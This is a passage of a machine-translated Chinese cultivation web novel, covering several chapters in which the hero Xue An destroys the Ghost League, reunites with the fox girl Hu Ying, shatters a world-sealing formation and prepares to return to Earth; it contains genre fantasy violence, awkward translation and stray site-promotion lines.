    "Boy, I advise you to save your energy! I am the real immortal body. If you destroy me, I can also be reborn by sacrificing a soul, and the soul I possess is more than hundreds of millions? "


    said, he laughed wildly.


    The laughter shakes the world.


    made everyone in Xiaoqingqiu pale.


    Xue An smiled sorrowfully. "Oh, really?"


    As he said, Xue An took a step forward slowly.


    One step fell.


    Gurensheng!


    This is a red lotus that seems to gather all the aura between heaven and earth.


    It is magnificent and dazzling.


    But it was such a beautiful and thrilling red lotus, but it changed the face of the black front.


    "This...this is..."


    Xue An said indifferently: "As I said, you should pay a tooth for a tooth and blood for blood, so...you can also taste the taste of your soul being burned!"


    said, the red lotus disappeared in an instant, and when it reappeared, it had reached the top of the black front, and then strands of fire stretched out from the red lotus and directly inserted into the black front''s body.


    The brilliance lingers above the line of fire.


    and the black front uttered a deafening horrible howl after a moment of stunned, "Ahhhhh, kill me!"


    The stern voice makes people unbearable to listen.


    And the black front who can always cherish his life say that he will kill me soon, which shows how painful it is.


    But Xue An did not move, but snapped his fingers lightly.


    momentarily.


    Hei Feng''s throat seemed to be sealed, and the screams stopped abruptly.


    Xue An said lightly: "The noisy people have ears hurt, it''s much better now!"


    Hei Feng looked at Xue An in horror, his eyes full of pleading and despair.


    Xue An just smiled, "Please enjoy slowly, the next good time!"


    Seeing this scene, especially seeing the gentle smile on Xue An''s face, all the people in the ghost league couldn''t help but shudder.


    Some are smart, turn around and run.


    Nonsense, don��t you wait to die now?


    After all, even the leader is not the opponent of this man, and people like himself are even less worth mentioning.


    ran away alone, and immediately drove other people to flee together.


    For these people, the only hope at this moment is that the god-killing grandfather, who doesn''t know where, can be merciful, and don''t care about his gang of soldiers.


    After all, the existence of oneself might not be worth mentioning in his eyes.


    And many decent monks are not only punish the first evil, do not hesitate?


    Many ghosts in the ghost league are thinking about it.


    But this time, they all thought wrong.


    Xue An stood in the void, looking at the people in the ghost league who were running away, his eyes were cold, and then he stomped abruptly.


    boom.


    Void vibration.


    Then countless sword lights appeared in the sky.


    The dense sword glow covered the sky and the sun, and Xue An stood in it, stretched out his hand and said, "Sword of evil, kill!"


    gave an order.


    The sky full of sword lights fell like rain.


    Those Gui Xiu who had fled to the sky thought they were safe.


    Before they were grateful, the sword light flew over, killing them instantly.


    in an instant.


    There were horrible howls between the heavens and the earth, blood splashed, and the sky was dyed red.


    Everyone in Xiaoqingqiu looked stupid.


    The ghost cultivator who had trapped them in the mountains for more than half a month did not last even a quarter of an hour in the hands of this man.


    This strength, even if they were not sealed in here, they had never seen it.


    The miserable howl went out, and the blood fell to the ground.


    When the sword light disperses, the world has become empty.


    Huying looked at Xue An, who was standing in the void with a fascinated face, and her heart trembled slightly.


    This... is the invincible brother Xue in her memory!


    At this time, Xue An turned his head and smiled at the black front who had been refined by the red lotus fire.


    "I know there must be someone behind you, and you want to be rescued by him, but unfortunately, none of you can escape!"


    These words put out the last gleam of hope in the black front''s heart.


    There was a gurgling sound from his throat, and he looked at Xue An pleadingly.


    He doesn''t ask for anything else now, only for quick death.


    The taste of the soul being refined by the red lotus fire is simply too painful.


    Xue An was not moved at all, but turned around and smiled at Fox Ying.


    "Yinger, are you still satisfied?"


    Huying nodded, "Hmm! Brother Xue, I am satisfied with what you do!"


    Although Huying''s body has shrunk to an eleven or twelve-year-old figure due to the burning of her soul and blood, the variety of styles that can be revealed in her words still makes many people look stupid.


    Xue An didn''t seem to see the same, and the monks who lowered their heads at Xiaoqingqiu smiled, "You did a good job, at least you did not lose your nature in the face of temptation and despair!"


    As he said, Xue An took out a large amount of pills and spirit crystals from the mustard seed ring and distributed them to everyone.


    When these people saw it, they were all shocked.


    "God, this is a high-grade spirit crystal! Even before I was sealed, I had never seen such a high-quality spirit crystal!"


    "Hiss, this pill is at least a top grade in the heavens!"


    These exclamation sounds one after another.


    In the minds of these monks, Xue An''s image has also grown taller.


    At this moment.


    I saw the black front bound by the red lotus fire suddenly let out a beast-like growl, and then burst open, turning into black air.


    Xue An was startled slightly, and then a cold smile appeared at the corner of his mouth.


    "It''s cheaper for you to explode at any cost!"


    You must know that monks, especially ghosts, once the spirits explode, they will completely disappear, and there is no possibility of recovery.


    This also shows how painful it is to be refined by the red lotus fire.


    Fox Ying asked at this moment: "Brother Xue, where are we going next?"


    Xue An smiled, "Naturally go back! Your sister-in-law should be waiting in a hurry now!"


    sister in law!


    The name ���� made Fox Ying seem to be struck by lightning, and her pretty face instantly turned pale.


    Xue An just smiled, and then grabbed Hu Ying''s hand, "Go, my brother will take you back!"


    After a day of turbulence.


    Tiansheng, Kyoto gradually became quiet.


    But the atmosphere is still very solemn.


    Because of what happened in the Forbidden Garden one day ago has been completely spread.


    Many common people suddenly realized.


    "No wonder this young master Xue is so talented that he is really a god!"


    is different from the relaxed atmosphere among the folks.


    The entire dynasty''s senior officials became a little silent at this moment.


    The eighth prince and queen are dead, and the emperor returned to the palace and couldn''t afford it.


    It is only a matter of time before Yan Xi ascended the throne and proclaimed the emperor.


    But no one cares about these at this moment.


    Because, compared with everything I saw yesterday, the so-called imperial power struggle is just like a child''s play. It is a complete joke.


    And Xue An''s final departure has even affected the hearts of countless people.


    When will he come back?

 Chapter 941： Fox night, Im looking for your sister

    "Hey, you said Xue An, who suppressed the entire dynasty, when will he come back?" Someone whispered.


    "Come back? Ha ha, I think it''s still a problem if I can come back!" Someone sneered.


    "Why do you say that?"


    "You think, although he is very powerful, there is only one person after all, and he is facing countless masters this time!"


    "I also think it''s awkward to come back!"


    Many people shook their heads secretly, without any hope for Xue An to go there.


    At this moment.


    Someone exclaimed, "Look, what''s on the horizon?"


    Everyone looked up.


    I saw a stream of light appearing in the sky, and then flying towards Kyoto.


    "Could someone come back for revenge!" Someone said in horror.


    The words came out.


    Many people are horrified.


    at the same time.


    These streamers have already flown to the sky above Kyoto, and after they have established themselves, they are all powerful men with different faces.


    There are dozens of people, and when they collectively appeared in the sky above Kyoto, the whole of Kyoto shuddered.


    "This is over, it must be those immortal masters who sent someone back to retaliate!" Someone exclaimed.


    In the East Palace, the atmosphere is even more suppressed.


    Yanxi stood in the courtyard, looking up at the sky with a sinking face.


    Someone persuaded: "His Royal Highness, now the good or bad is uncertain, you should avoid it temporarily, otherwise..."


    "Needless to say, no matter who the other party is, I am here to wait for Master Xue''s return!" Yan Xi said lightly.


    The persuader was speechless for a while.


    At this moment.


    An Yan also showed up in the front yard with two little girls, and then the two little girls excitedly pointed to the sky and shouted: "It''s Dad, Dad is back!"


    Hearing what they said, Yan Xi was taken aback for a moment, and then he heard a chuckle from Tian Tian.


    "Good girl, Dad is back!"


    After that, I saw two streamers flying across the sky. After standing up, who was it not Xue An?


    When I saw him return.


    The whole Kyoto was quiet first, and then there was a low noise.


    "Look, I''ll say Master Xue will return safely! What else can you say now?" Someone said proudly.


    As for the previous cynics, after seeing Xue An, they all turned pale in fright and hid secretly in the crowd, not daring to talk.


    Then Xue An led everyone to land in the East Palace.


    Yan Xi was overjoyed, and was the first to rush forward to salute.


    "The son..."


    Xue An waved his hand, "Well, no need to be so polite!"


    "Yes!" Yan Xi replied, but his eyes swept over the eleven or twelve-year-old girl next to Xue An.


    Although it was just a glimpse.


    But the beauty of this girl still shocked Yan Xi.


    Why did Young Master Xue go out and bring back such a stunning beauty?


    Yan regrets the doubt in her heart, but dare not show the slightest on her face.


    And at this time, An Yan brought Missing Nian forward.


    Xue An smiled slightly, "Yan''er, I''m back!"


    An Yan nodded, but his attention was all attracted by the Hu Ying on the side.


    In fact, it is impossible for An Yan to pay attention to her.


    Since entering the East Palace since the first fight.


    Huying was staring at An Yan with almost critical eyes.


    Although there is no introduction.


    By intuition, Hu Ying can also guess that this woman should be the sister-in-law mentioned by Brother Xue.


    So she stared at it dissatisfied.


    can wait after watching for a while.


    Fox Ying''s eyes gradually softened.


    Because An Yan is not inferior to him in terms of appearance or temperament, even worse.


    At this point, even if you are as proud as her, you have to bow your head and give in.


    Especially after seeing the thoughts and thoughts that followed An Yan, Hu Ying''s body was slightly shaken, and her eyes appeared confused.


    Are these two daughters of Brother Xue?


    is really...cute!


    But the more so, the more at a loss in Hu Ying''s heart.


    At this time, Xue Anzheng wanted to introduce, but An Yan pursed his lips and said first: "This little girl should be Huye''s sister, Miss Huying, right?"


    Fox Ying shook slightly, and then came to a clear sense of confusion, "Ah...Yes!"


    "Is really a beautiful and unspeakable little girl, no wonder Xue An is so nervous about you after knowing your news!" An Yan said lightly.


    But these words made Xue An on the side sweat coldly.


    "Ahem, Yaner, I..."


    An Yan''s eyes were circling, and he ignored Xue An at all. Instead, he stepped forward and took Hu Ying''s hand familiarly, "Let''s go! Sister-in-law talks to you!"


    Fox Ying had been full of dissatisfaction before coming, and even wanted to get rid of this sister-in-law who had never met.


    After seeing it, after a few words from An Yan, she began to be at a loss.


    Then he was dragged by An Yan to the backyard in a daze.


    Xue An looked at An Yan and Hu Ying, who had never seen each other before, but they became very familiar in an instant. They always felt that their hairs were standing straight.


    Chan''er came over at this moment, "Master, who was the pretty girl just now? Could it be the second room that the young master found..."


    Before the words fell, Xue An knocked Chan''er''s head, and then said dumbfounded: "What nonsense? Is that my sister?"


    "Oh!" Chan''er rubbed her sore head and smiled, "I just heard the people around me tell me, I thought it was the new wife from the young master!"


    Xue An only noticed Yan Xi and the strange gazes of those guys in the distance.


    This made him suddenly feel a sense of aggrieved feeling that he couldn''t get rid of it when he jumped into the Yellow River.


    "Ah, yes yes! I suddenly remembered that there is still a lot to do, I''m leaving now!"


    Yan regretted seeing the machine the fastest, and immediately found an excuse to slip away.


    When he left, the rest of the group also dispersed.


    Xue An stood in the courtyard, Yang Tian sighed for a while, and then suddenly smiled.


    "Fox Ye, I found your sister now. Then, how can you thank me?"


    talking.


    Xue An smiled like a fox.


    at the same time.


    In a very distant world.


    Fox Ye, who had just blown a cow with a bunch of young girls, suddenly sneezed a few times, and felt that all his hairs were erected.


    This made him a little surprised.


    Strange?


    What''s going on here?


    Could it be that you are a bit tired recently?


    Well, it must be so!


    It seems that I have to talk to the elder I have found a chance to rest for a few days.


    When the lanterns first came on.


    In the East Palace, a dinner party is being held in a low-key manner.


    An Yan smiled and looked at Fox Ying who was devouring food, and asked a few words from time to time.


    Fox Ying said everything with a pure face.


    Xue An listened to him, and then he understood why this Fox Ying appeared in this world.


    It turned out that when the news of Xue An''s fall came.


    Foxying feels unhappy, and firmly believes that this is not true.


    Then she remembered his birthplace, the earth, which Xue An had mentioned, so she sneaked out of the Qingqiu fox world and began to cross the void, wanting to find Xue An on earth.


    I didn''t expect to ambush in the middle of the journey and be directly dragged into this world.

 Chapter 942： Do something, do something not

    An Yan nodded, "So that''s it! So how did you become the leader of these people?"


    Hu Ying was rather proud to mention this.


    "When I first came to this world, my blood was sealed, and then I was arrested by a group of bad guys. By the way, I seemed to have been to this capital city. Well, I remembered it, then I was arrested. I sold it in a place called Bliss Square!"


    Hearing this, Yan Xi, who was sitting aside, had just taken a sip of wine, and almost squirted out all the wine in her mouth.


    Xue An knew it well.


    No wonder I felt a breath of seemingly non-existent in the Bliss Square.


    "Later, the bad guys wanted me to drink with other men? Of course I refused, and they threatened me! So in my anger, I killed all these guys!"


    Hearing this, Yan Xi was shocked. "I remembered that something happened in Bliss Square before. At that time, a large-scale brothel was destroyed overnight, and no one was able to find out who did it. of!"


    Hu Ying said proudly, "I did it, and the people I killed are all damned. I didn''t kill one in vain."


    With that, Hu Ying looked at Xue An hopefully, like a student who had done a good job and waited for the teacher to praise.


    Xue An laughed dumbly and nodded, "Good job!"


    Hearing Xue An''s praise, Hu Ying smiled so that her eyes became crescent-shaped.


    "Then I fled this capital city and started to wander around. Because my blood began to break the seal, so my strength became stronger and stronger. Eventually, I gathered these men, and then founded Xiaoqingqiu, the gang with the ghost alliance The bad guys start to fight!"


    Speaking of this, Hu Ying said sadly: "Unfortunately, my poor strength caused many monks to die in vain, and the ghost league began to aggressively attack again, and I began to burn my soul to fight! "


    Hearing what Hu Ying said, the monks in the audience also fell silent for a while.


    Then one person stood up, raised a glass in his hand, and said solemnly: "Chief, no matter what your status or status, but everything you have done during this time, we have all seen in our hearts."


    "For us, you don''t even hesitate to burn your soul for shelter! I think those colleagues who died in battle will not have the slightest regret in their hearts after seeing all this!"


    "Yeah! Chief, what you have done is good enough! To be honest, before we were sealed into this world, we were considered to be the powerhouses occupying one side, but until we met you, we did not understand what is meant by Do something or not!"


    "Yes! Chief, you will always be the leader in our hearts, I toast you!"


    The cultivators in the whole hall all got up when they heard the words and raised their glasses to Hu Ying, "Leader, we toast you!"


    This formation made Hu Ying startled for a moment, and then raised her glass with tears in her eyes, "Thank you, everyone!"


    With that, everyone drank the wine in the glass.


    Xue An couldn''t help but feel very pleased watching this scene.


    In his impression, Hu Ying, no matter how old he grows, is always like a child, innocent and innocent.


    Because she was spoiled by Fox Ye and even the entire Qingqiu Fox Country.


    How can you say mature if you haven''t experienced it?


    I believe that Hu Ying will understand a lot of truths after this twists and turns.


    The banquet continued, and the atmosphere became more enthusiastic.


    Hu Ying drank a lot of wine, and her pretty face was flushed.


    Then she said in a simple voice: "Brother Xue, what shall we do next?"


    Heard this sentence.


    The audience was solemn.


    All the monks and Yan Xi and others pricked their ears to listen.


    Xue An put down the wine glass in his hand and smiled faintly. "Naturally, I broke away from the shackles of this world, and then settled the bill with those who took the seal!"


    Upon hearing this, the audience suddenly promised.


    "That''s right, I still remember the faces of those guys. If this hatred is not reported, I don''t want to make any progress in my cultivation in this life!"


    The many monks were all angry.


    Hu Ying slapped the table even more, "Brother Xue is right. At first, my old lady just passed by, but she was in an ambush and was dragged into the room. This made me a little loli. Must count!"


    He looked at the burgundy face, called the old mother, and uninhibited Fox Ying.


    Many people can''t help being a little stupid.


    Is this... drunk?


    at the same time.


    I saw Hu Ying blinking and blinking, pointing at Xue An and smiling idiotically, "Brother Xue, why did you grow three heads?"


    After that, she threw a plop and fell to the ground drunk and fell asleep.


    The audience was silent.


    Xue An even held his forehead with his hands, his face looked helpless.


    I blame myself for not expecting it.


    This Huying is Huye��s own sister, and Huye is the lord who gets drunk when he gets drunk. How can Huying be better?


    The dinner is over.


    An Yan was dumbfounded and hugged Hu Ying back to the house.


    After Anan she fell asleep.


    She just walked out of the house.


    And Xue An stood in the courtyard and waited.


    "Are you asleep?"


    "Ok!"


    Xue An smiled, "It''s really a brother and sister, and the amount of alcohol is exactly the same as that of the fox night!"


    An Yan looked at Xue An with a smile.


    Xue An was a little hairy when An Yan smiled, "Ahem, Yan''er, what''s wrong?"


    An Yan shook his head, "It''s nothing, I just think...this Brother Xue called it so pleasant!"


    Xue An gradually showed a cold sweat on his forehead, and said with a wry smile: "Yan''er, don''t think about it!"


    An Yan laughed blankly, "Looking at the way you were scared, I didn''t think about it, I just sighed!"


    "What do you sigh?"


    "How did I find that all the women you met on the road of cultivation have deep-rooted affection for you? Honestly tell me, besides Ying''er, are there others?"


    Xue An shook his head like a rattle, "No, there is, I don''t know!"


    "Hmph, forgive you for not dare!" An Yan said, but she couldn''t help laughing.


    Xue An let out a sigh of relief, and then said helplessly: "Don''t scare me so much in the future, OK, look at my cold sweat!"


    "Oh? Really? But how did I hear that a cold sweat means there is a ghost in my heart?" An Yan said quietly Xue An froze in place.


    "Take you fun!" An Yan smiled.


    But before Xue An breathed a sigh of relief, An Yan said faintly: "But I still think you are dishonest. You will be fined to sleep in an outhouse tonight!"


    "Don''t! It''s cold outside!"


    "Are you still afraid of cold? Are you not Xianzun?"


    "Who said Xianzun can''t be afraid of the cold? How warm is it to sleep with his wife?"


    "Bah, hooligan!"


    "Hehe, you''re a gangster, what can you do?"


    "Bad!"


    The two voices drifted away.


    The Hu Ying in the room suddenly rolled over, and the corner of her eyes...tears glisten.

 Chapter 943： Change if you have it

    Qing''er walked into the room with a worried face, put the food container on the table, and said softly: "Miss, let''s eat something!"


    Tang Ling''er, who had shut herself in the house for several days, shook her head dumbly, "Stop eating, I''m not hungry!"


    "Miss, I know you feel uncomfortable, but people have to eat!" Qinger whispered.


    Tang Ling''er smiled, then turned his head to continue writing.


    Qinger stepped forward, and saw that the paper was densely packed with the three small orders written by Xue An.


    "Miss..." Qinger''s voice was a little choked upon seeing this.


    Tang Linger didn''t say a word, she still wrote silently, but her eyes were full of gloom.


    At this moment.


    He heard the messy footsteps coming from the courtyard, and then Tang Sheng walked into the house quickly, his face full of excitement.


    "Ling''er, what do you think this is?"


    said, he raised a letterhead in his hand.


    Tang Ling''er stared blankly, "What?"


    "This is the letterhead just sent by Donggong, and it was handwritten to you by Master Xue!"


    As soon as the voice fell, Tang Linger rushed up, grabbed the letterhead, and started to watch.


    There is no sound in the house.


    Tang Sheng''s face was full of joy.


    Anyway, as long as the adults still remember Ling''er.


    Now Tang Sheng, naturally, it is impossible to have any other ideas, because the gap between strength and status is too great.


    But if you can rely on this relationship to cling to Xue An, then the status of the Tang family will be different.


    So he was also very concerned about what was written on the letterhead.


    At this time, Tang Ling''er looked at the letterhead blankly, tears bursting into her eyes.


    Tang Sheng and Qing''er were all taken aback.


    "Miss, what did Master Xue write?"


    Tang Ling''er shook his head, and then cherished the letter paper into his arms, "Nothing, he just asked me to go to the East Palace tomorrow!"


    Tang Sheng was overjoyed, "Could it be that he wanted to marry Ling''er?"


    Tang Ling''er gave her father a cold look.


    Tang Sheng scratched his head in embarrassment, "Cough cough, I suddenly remembered that there is still something ahead, I''m leaving now!"


    said, he left the house, but the joy in his heart was still beyond words.


    Qinger stopped talking, and finally sighed and exited the house.


    Tang Ling''er sat in front of the mirror blankly, looking at the girl in the mirror who was a little haggard but still beautiful and beautiful.


    The letter Xue An wrote to her is very simple.


    But this short letterhead has set off a stormy sea in Tang Ling''er''s heart.


    Because Xue An told her straightaway.


    Xue An, who was her childhood playmate, is actually dead.


    I came from the outside world.


    Tang Linger once thought that the reason why Xue An was so good was because of some adventure he had gotten in the past ten years.


    But now she discovered that Xue An, who had shocked herself and the entire Tiansheng Kyoto, turned out to be another person.


    This completely messed up Tang Linger''s heart.


    She doesn''t know whether her feelings for Xue An are based on that playmate from childhood, or based on Xue An''s talent and strength nowadays.


    "The outside world..." Tang Ling''er whispered softly, and brilliance gradually appeared in her eyes.


    Although ���� is only five words, Tang Linger has read a lot of information from it.


    A powerful person like Xue An can appear, which shows that the outside world is far more exciting than here.


    Thinking of this, Tang Linger took out the letter paper in his arms and looked at the words written by Xue An at the end.


    In a short time, I will open the shackles of this world, and if you are willing, I can help you live forever!


    Longevity!


    The words ���� hovered in Tang Ling''er''s heart for a long time, and finally his face gradually showed determination.


    "What I like is the Xue An in my heart. It has nothing to do with you or anyone. If you can set foot on longevity, I am willing to stand behind you!"


    This girl who has been tempered in Shanghai since she was a child has finally made up her mind.


    The same letterhead was also delivered to Dan Kwai Fang Nie Yihan''s hands.


    She is also a soft heart, thinking for a long time.


    And Meixia hurried over after learning the news.


    When I see that sentence to help you live long.


    Meixia''s pupils shrank instantly, and her breathing became quicker.


    "Yihan, what do you think?"


    Nie Yihan shook his head blankly, "I don''t know! I am very confused now!"


    Meixia smiled bitterly, "To be honest, Yi Han, I really envy your luck! It is your good fortune to meet a fairy like Xue Gongzi!"


    "Although I know what you think, I advise you not to think about what you shouldn''t expect, but you must seize this opportunity right now, because you don''t understand how many people are willing to steal their heads for this opportunity !"


    Meixia''s words made Nie Yihan''s face pale, and finally bowed his head, "I understand!"


    Actually Xue An��s letterhead was sent out with An Yan��s approval.


    After Xue An put forward this idea at the time, he said tremblingly: "Yan''er, I just think that the talents of these two people are pretty good. Sooner or later, we have to break the shackles of this world. It''s better to help them!"


    then hurriedly added: "If you don''t want to, just assume that I didn''t say it!"


    An Yan smiled after hearing it, "This is a good thing! Why am I not willing?"


    "Yes..."


    An Yan shook his head, "Am I the kind of woman with a small belly?"


    Then she smiled and said, "Husband, do you know what I like best about you?"


    Xue An chuckled, "Awesome and handsome!"


    When mentioning the word "powerful", Xue An deliberately increased his tone.


    An Yan heard that her cheeks were reddening, and she took a sip, "Bah, I''m serious with you! Dare to do this again, be careful I let you go to sleep in the yard tonight!"


    Xue An immediately nodded solemnly, "Yan''er, please say!"


    An Yan was a little bit dumbfounded, but still faintly said: "What I like is a humane you!"


    "Whether you just met at the beginning, you are a penniless poor boy, or the immortal who returns four years later, you will always have a heart of innocence!"


    "A lot of things, you obviously can leave it alone, but you did it!"


    "For example, in this case, you can break the shackles of heaven and earth directly, and then slap **** to leave, but you still think of ways to give hope to many people!"


    "Stay in a high position, with the palm of your hand, but you can do this! This is the person I like!"


    Xue An is so embarrassed to be praised Am I that good? "


    "In my eyes, you are the best!" An Yan said with a smile.


    "Yan''er, you are so kind!" Xue An said sincerely.


    But An Yan stretched out his hand at this moment, and gently pinched and twisted Xue An''s waist.


    Xue An hissed inhaling air, "Yan''er, what are you doing?"


    An Yan Qiao smiled and said, "Although I think you are doing it right, I still feel a little uncomfortable in my heart, so I will pinch you to relieve my boredom!"


    Xue An cried out to hit Tianqu, "Yan''er, I don''t have any other thoughts!"


    An Yan nodded, "I know, but if you have it, you can change it if you don''t! It''s a shot for you!"


    Xue An: "����."

 Chapter 944： Fists divide the world, reorganize the universe, the lotus blooms...

    Dear~ The domain name of this site: the abbreviated homophony of \"166 Novel\", easy to remember! Good-looking novel is highly recommended: this day.


    Tiansheng Changjie is heavily guarded.


    When Tang Linger and Nie Yihan stepped into the East Palace, the atmosphere here was even more solemn.


    All the monks of Xiaoqingqiu gathered together, looking at the figure standing on the stage with admiration.


    Xue An nodded slightly at them when he saw the two girls coming.


    Then he used his handrail to look down at everyone in the field, and said in a deep voice: "You are all being dragged into the room by the big seal technique in the body. Now I only ask you one sentence, would you like to kill the enemy with me?"


    "Here!" All the monks in Xiaoqingqiu answered with a fanatical expression.


    "If there are those who don''t want it, you can tell now!"


    No one said anything.


    Xue An looked around the audience and smiled slightly, "Very well, in that case, then I will break away from the shackles of this world and return to the heavens!"


    After that, the light in Xue An''s eyes was great, and he stepped out in one step, and the whole person turned into a golden light that penetrated the sky and flew to the top of the sky in an instant.


    After standing up, Xue An looked down at the universe, a sneer smile appeared at the corner of his mouth, and then he took a deep breath.


    This breath is like a gust of wind blowing on the nine heavens, and the wind and clouds are always changing.


    Then Xue An stepped, exhaled, and let out a sudden burst.


    "No matter what you can do, I will break it with one punch!"


    After that, Xue An raised his eyes and pointed his fist at the sky.


    Boom!


    A loud and deafening noise resounded everywhere, making the whole world silent.


    Then under everyone''s gaze, numerous dense runes suddenly appeared on the sky that was silent and speechless.


    Under these runes accumulated, they pressed down towards Xue An.


    Even though they are far apart, everyone on the ground still feels the terrifying and powerful aura.


    "Sir!" Countless people changed their faces and exclaimed.


    In the face of this upsetting blow, Xue An stood on the sky, not dodge or avoid, his back was reflected by the golden light of runes like a god.


    Then he held the sky with one hand and directly supported the dome rune that was pressing down.


    Boom!


    After a loud noise.


    The dome, which had fallen in an unstoppable force, was held by Shengsheng, and could not drop a single minute.


    And this scene stunned everyone.


    Because Xue An is now equivalent to fighting this world with his own power.


    The monks of Xiaoqingqiu muttered softly with a dull expression.


    "Today, we only know what invincible is!"


    But Hu Ying''s small face flushed with excitement, her hands clasped, and she suddenly shouted, "Brother Xue, come on!"


    This sound reminded many people.


    Countless people began to shout.


    "Master Xue, come on!"


    "Master Xue is invincible!"


    Among these shouts.


    Xue An looked up to the sky and laughed.


    "Thirty thousand miles across the sky, to me, it''s just a breeze!"


    "Today, I will divide the world and reorganize the world!"


    After that, Xue An clenched his other hand into a fist, and blasted dozens of fists in a flash.


    Under every punch.


    There was a violent tremor in this dome rune.


    When the final punch blasted out, there was a crisp sound.


    Then the dome made up of countless runes broke apart.


    at this moment.


    Everyone felt as if a big rock on their chest was removed, and the whole person''s breathing became smoother.


    Then I saw countless rainbow lights descending from the sky above the world.


    "Aura turns into a rainbow!" A monk shouted in surprise.


    Only the extremely strong aura can turn into a rainbow of light.


    As expected.


    As soon as the rainbow light fell, the entire world seemed to be hungry and thirsty for countless hours of travellers, and began to absorb the aura almost greedily.


    Everyone in the world feels that their bodies are changing.


    Those local masters who practice physical skills feel that the pass that has troubled them for a long time has suddenly become flat, and their strength is increasing.


    Even ordinary people feel much lighter and fitter.


    As for the many monks in Xiaoqingqiu, they are absorbing the spiritual energy of heaven and earth eagerly, and the originally sealed cultivation base has also begun to crazily recover.


    can be at this moment.


    I saw a vague phantom gradually emerging above the dome.


    As soon as this phantom came out, a powerful force overwhelmed the entire world.


    All the cultivators were stunned, and then someone shouted in shock, "It''s Da Luo! Da Luo strong!"


    heard this sentence.


    Many people''s hearts instantly sank to the bottom.


    For these cultivators who were not golden immortals before being sealed, Daruo represented almost invincible power.


    And I didn''t expect that after breaking the seal, there will be a virtual image left by Daluo suppressing here.


    In the face of such a strong man, can Xue An win?


    Many people looked up with great worry.


    just now.


    saw the imaginary sneer, "Someone really dares to break my seal, then go to death!"


    is a woman''s voice.


    Xue An laughed when he heard the words, but his smile was full of murderous intent.


    Because of this sound, he is so familiar.


    At the last moment of killing the God King Odin, it was this woman who suddenly came and then applied a great seal technique.


    Therefore, he sneered and said, "It''s just that your body is here, it''s not my opponent, let alone a virtual image left behind?"


    "Hmph!" After being promoted to Da Luo, although he can''t incarnate like the immortal king, it can also make the remaining virtual image have a trace of self-consciousness.


    Therefore, the phantom snorted coldly, and then outrageously shot.


    This kind of virtual image left behind for the purpose of guarding the formation generally contains the full blow of the caster.


    Therefore, the phantom gave a soft drink and waved a palm, and the overflowing breath instantly iced the sky.


    And Xeon''s blow was all aimed at Xue An in the sky.


    Under the extreme ice cold, even the space around Xue An made a slight crackling sound.


    Facing such a blow, Xue An narrowed his eyes. Smiled coldly.


    "At the beginning, you relied on the help of other people to drag me into this place. As for you...Even Ronaldo is nothing but an ant to me!"


    After all, Xue An put his hands behind his back in the horrified eyes of everyone, and said lightly: "The lotus blossoms are blooming, the most in the world!"


    The voice is cold, but like an irresistible truth.


    In an instant in Xue An''s body, in the frozen sky, in the entire world.


    Numerous lotus flowers emerged out of thin air, and then bloomed together in an instant.


    is like a dream and illusion, covering the world.


    Everyone is silly.


    And under such a blow, the blow sent by the virtual image is self-defeating.


    And the lotus flower also filled her whole body in a blink of an eye.


    The virtual image let out a terrified howl, "Impossible..."


    The sound is incredible.


    But in the end, this seemingly weak lotus gently robbed him of life.


    And Xue An looked at the fading virtual image and said lightly: "Don''t worry, it will be your turn soon!" 166 Novel Reading Network

 Chapter 945： Return to the earth like an arrow

    In the next day, Xue An took care of the affairs of this world.


    respectively gave Tang Linger and Nie Yihan a set of simple practice methods.


    Because the seal of this world has just opened, it will take at least a few years before it can return to a normal level.


    So this simple version of the practice is just right for them to practice.


    after doing all this.


    Xue An asked An Yan to take his two daughters and Hu Ying into the Fu Bao Xiaolou.


    Then he led the cultivators of Xiaoqingqiu, directly broke through the time-space barrier and left this world.


    When Xue An''s figure disappeared into the sky.


    Nie Yihan secretly retracted his eyes with tears.


    Tang Linger just looked at it for a while, then turned and left with a resolute look.


    Anyway, since I was given a set of exercises.


    Then I''m going to get a look so everyone can see.


    Tang Ling''er secretly made up his mind.


    at the same time.


    in the blood **** realm.


    Ripples suddenly appeared in the space, and then a big opening suddenly opened.


    Xue An walked out with many monks from Xiaoqingqiu.


    just stepped into this world.


    Xue An said softly.


    "Strange, this world..."


    Xue An looked around and found that the blood energy that had been surging in the blood world had disappeared.


    The whole world becomes empty, just like an abandoned place.


    Xue An''s expression changed slightly, and he immediately led everyone out of this core blood world.


    The outer blood world is still the same, and everything is empty.


    The entire blood world, it can be said that there is only one empty shell left.


    Xue An''s eyes are getting colder.


    Because a very ominous premonition suddenly rose in his heart.


    At this moment.


    He turned around suddenly, stretched out his hand to explore the void, and shouted coldly: "Come out!"


    As he said, Xue An suddenly pulled out, and a figure was pulled out in embarrassment.


    was accompanied by a series of begging for mercy.


    "My lord is forgiving my lord''s life, I''m just...Huh! Xue...Sir Xue?" This person was stunned.


    Xue An also recognized this person at this time.


    is the blood of the Faulkner family, Hall.


    is just the current Hall, but in a panic, the clothes on his body are already in tatters, and the breath of the whole body is even more distressed, and there is no trace of blood.


    This is also why Xue An just didn''t recognize him.


    As soon as he saw Hall, Xue An raised his eyebrows, "Hall, what''s the matter? What''s wrong with this blood world? What about Elad and Acy?"


    Hall sighed after hearing this.


    "My lord, the reason why I hid in this place is because Edward told me to wait for your return!"


    "I was already desperate, but I didn''t expect you to really come back!"


    Then Hall took a deep breath and said with a dignified face: "My lord, after you disappeared, not long after you disappeared, a very terrifying strong man appeared, and then the blood **** Gaia and the **** king Odin followed. This group of descending gods left the Blood God Realm together!"


    "And when they were leaving, they also took away the origin of this world, so this world will gradually be abandoned!"


    Xue listened quietly, the expression on his face getting colder.


    "Where did these people go, do you know?"


    Hall smiled bitterly when he heard the words, "My lord, my purpose in waiting for you is to tell you this!"


    "These descending gods led the gods such as Caia and Odin to... your homeland, earth!"


    Upon hearing this, Xue An''s pupils shrank suddenly.


    a bitter murderous aura instantly swept across the whole world, shaking everyone back several steps.


    Then Xue An gritted his teeth and said word by word: "How long have they been away?"


    Hall was also taken aback by Xue An��s momentum, and said, "My lord, they have been gone for about two months! Because they are worried that your homeland will be missed, Erad and Aisi have also followed suit. I went, and I was left to wait for your return, so I can tell you the news as soon as possible!"


    Xue An looked down and said nothing.


    Hall was a little frightened, "My lord, you... are you okay?"


    Xue An slowly raised his head, the murderous aura in his eyes gradually dissipated, and then nodded without sorrow or joy.


    "It''s okay, thank you for this matter!"


    "What the lord said, it is my honor to be able to help you!" Hall said quickly.


    Then Hall asked cautiously: "My lord, what shall we do next?"


    Xue An said in a deep voice: "They have advanced two months, but they have no time and space shortcuts to go, so they can only cross the void. In this case, they should have just landed on the earth now, and if I try to rush over now, There is still a chance!"


